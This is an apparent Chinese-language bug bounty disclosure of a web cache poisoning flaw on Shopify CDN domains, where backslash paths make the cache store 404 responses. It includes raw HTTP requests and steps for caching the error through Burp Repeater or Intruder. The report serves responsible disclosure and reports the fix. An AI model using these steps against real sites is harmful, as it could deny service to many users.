概要
白帽子在 Shopify 的 CDN 域名上发现了一处 Web 缓存投毒漏洞,其中缓存服务器将反斜杠和正斜杠视为等效,而源服务器对包含反斜杠的路径返回 404 错误。
这种差异允许攻击者使用反斜杠而不是正斜杠发送请求,导致 404 错误被缓存并用于合法请求,从而创建了一个可能导致多个 Shopify 服务受影响的拒绝服务条件。该漏洞通过在所有受影响的 CDN 域名上实施一致的路径处理得到了修复。
复现步骤
- 打开 cdn.shopify.com 上托管的任意文件(例如:
https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js
),并使用 Burp Suite 拦截该请求:
GET /static/javascripts/vendor/bugsnag.v7.4.0.min.js HTTP/1.1
Host: cdn.shopify.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
- 为了使该请求返回 404 错误,首先将 URL 中的斜杠替换为反斜杠
- 在进行任何测试之前,须在 URL 末尾添加一个缓存破坏器查询参数,以防止对使用该网站的所有用户造成拒绝服务攻击。(例如,在 URL 末尾添加
?cachebuster={随机值}
),新的请求如下:
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1
Host: cdn.shopify.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
- 发送此之前的请求将返回 404,并且将具有与
https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
相同的缓存键
- 为了缓存该响应,需要在 Burp Repeater 中多次发送损坏请求,或者使用 Burp Intruder 来持续缓存错误页面
- 现在,尝试在浏览器中打开
https://cdn.shopify.com/static/javascripts/vendor/bugsnag.v7.4.0.min.js?cachebuster=123
,将显示为 404 错误页面,而不是 javascript 文件
同样的漏洞也适用于 shopify-assets.shopifycdn.com,该域名会被其他 Shopify 网站如 accounts.shopify.com 使用。